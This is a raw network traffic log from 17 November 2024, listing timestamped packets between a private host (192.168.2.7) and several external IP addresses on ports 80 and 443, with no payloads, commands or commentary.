Nov 17, 2024 22:20:50.189763069 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.189784050 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.189791918 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.189820051 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.189867020 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.189872980 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.189924955 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.189930916 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.189970016 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.190005064 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.190056086 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.190058947 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.190069914 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.190095901 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.190118074 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.190131903 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.190140009 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.190169096 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.190193892 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.190212011 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.190218925 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.190268993 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.190553904 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.190609932 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.190640926 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.190670013 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.190675974 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.190700054 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.190732002 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.231987953 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.232067108 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.232083082 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.232100964 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.232100964 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.232119083 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.232129097 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.232137918 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.232166052 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.232167006 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.232186079 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.232189894 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.232204914 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.232217073 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.232235909 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.232249975 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.232896090 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.232968092 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.233016968 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.265650988 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.265683889 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.265698910 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.265721083 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.265737057 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.265739918 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.265789032 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.265800953 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.267617941 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.267647982 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.267755032 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.267755032 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.267766953 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.267811060 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.284183979 CET	443	60874	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.284245968 CET	443	60874	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.284966946 CET	60874	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.285131931 CET	60874	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.285183907 CET	443	60874	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.285216093 CET	60874	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.285233021 CET	443	60874	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.288928986 CET	60880	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.289017916 CET	443	60880	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.289115906 CET	60880	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.289366007 CET	60880	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.289395094 CET	443	60880	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.306334972 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.306371927 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.306425095 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.306431055 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.306462049 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.306467056 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.306476116 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.306515932 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.306521893 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.306555986 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.306569099 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.306603909 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.306642056 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.306646109 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.306673050 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.306725025 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.306760073 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.306772947 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.306793928 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.306828022 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.306862116 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.306883097 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.306902885 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.307296038 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.307348967 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.307372093 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.307377100 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.307406902 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.307406902 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.307440996 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.307446957 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.307495117 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.307576895 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.307610989 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.307634115 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.307699919 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.348349094 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.348423004 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.348460913 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.348474979 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.348510981 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.348514080 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.348517895 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.348567009 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.348571062 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.348603010 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.348653078 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.348654985 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.348691940 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.348716974 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.348726988 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.348737955 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.348762989 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.348802090 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.348809004 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.348858118 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.382348061 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.382400990 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.382419109 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.382432938 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.382441044 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.382463932 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.382466078 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.382469893 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.382487059 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.382488012 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.382505894 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.382523060 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.384366035 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.384424925 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.384488106 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.384504080 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.384519100 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.384598970 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.390639067 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.390680075 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.390737057 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.390758038 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.398745060 CET	443	60875	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.401572943 CET	60875	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.401618004 CET	443	60875	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.402812004 CET	60875	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.402826071 CET	443	60875	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.410373926 CET	443	60876	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.413302898 CET	60876	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.413333893 CET	443	60876	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.414040089 CET	60876	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.414045095 CET	443	60876	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.421660900 CET	443	60877	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.422317028 CET	60877	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.422343969 CET	443	60877	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.422847986 CET	60877	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.422854900 CET	443	60877	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.423012972 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.423048973 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.423079014 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.423089981 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.423121929 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.423135996 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.423139095 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.423182964 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.423223972 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.423240900 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.423258066 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.423270941 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.423273087 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.423293114 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.423301935 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.423306942 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.423336029 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.423343897 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.423482895 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.423496008 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.423512936 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.423528910 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.423552990 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.423568010 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.423912048 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.423928022 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.423944950 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.423960924 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.423981905 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.423999071 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.424246073 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.424278021 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.424293041 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.424331903 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.424359083 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.464852095 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.464895010 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.464909077 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.464926004 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.464942932 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.464958906 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.464999914 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.465044022 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.465053082 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.465069056 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.465086937 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.465117931 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.465131044 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.465137959 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.465157986 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.465174913 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.465183973 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.465202093 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.465224028 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.465224981 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.465281010 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.465317965 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.465322971 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.465346098 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.465362072 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.465451002 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.476444006 CET	60881	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.476480007 CET	443	60881	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.476700068 CET	60881	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.476903915 CET	60882	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.476943970 CET	443	60882	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.477005959 CET	60882	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.477257967 CET	60883	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.477267981 CET	443	60883	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.477339983 CET	60883	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.477683067 CET	60884	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.477726936 CET	443	60884	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.477900982 CET	60884	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.478162050 CET	60885	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.478190899 CET	443	60885	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.478367090 CET	60885	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.478379965 CET	60881	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.478401899 CET	443	60881	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.478739977 CET	60882	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.478754044 CET	443	60882	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.478780031 CET	60883	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.478791952 CET	443	60883	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.479017973 CET	60884	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.479032993 CET	443	60884	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.479232073 CET	60885	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.479247093 CET	443	60885	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.499010086 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.499044895 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.499082088 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.499093056 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.499120951 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.499138117 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.499156952 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.499176025 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.499202013 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.499209881 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.499257088 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.500853062 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.500914097 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.501013041 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.501027107 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.501074076 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.501250029 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.529992104 CET	443	60875	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.530345917 CET	443	60875	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.530445099 CET	60875	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.531050920 CET	60875	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.531095028 CET	443	60875	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.531208038 CET	60875	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.531225920 CET	443	60875	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.539726019 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.539788008 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.539817095 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.539841890 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.539861917 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.539882898 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.539886951 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.539918900 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.539931059 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.539964914 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.539975882 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.540025949 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.540030956 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.540083885 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.540092945 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.540122032 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.540163040 CET	60888	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.540167093 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.540174007 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.540189981 CET	443	60888	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.540209055 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.540226936 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.540245056 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.540249109 CET	60888	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.540271997 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.540281057 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.540344000 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.540496111 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.540527105 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.540566921 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.540579081 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.540615082 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.540673018 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.540930986 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.540966988 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.540986061 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.541003942 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.541019917 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.541057110 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.541306019 CET	60888	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.541317940 CET	443	60888	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.543931961 CET	443	60876	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.543988943 CET	443	60876	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.544162035 CET	60876	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.544203997 CET	60876	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.544218063 CET	443	60876	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.548489094 CET	443	60878	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.549093962 CET	60878	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.549104929 CET	443	60878	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.549582005 CET	60878	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.549586058 CET	443	60878	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.551028013 CET	60889	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.551047087 CET	443	60889	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.551325083 CET	60889	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.552164078 CET	60889	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.552175999 CET	443	60889	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.553116083 CET	443	60877	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.553204060 CET	443	60877	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.553266048 CET	60877	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.553642035 CET	60877	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.553659916 CET	443	60877	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.553673029 CET	60877	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.553679943 CET	443	60877	13.107.246.45	192.168.2.7
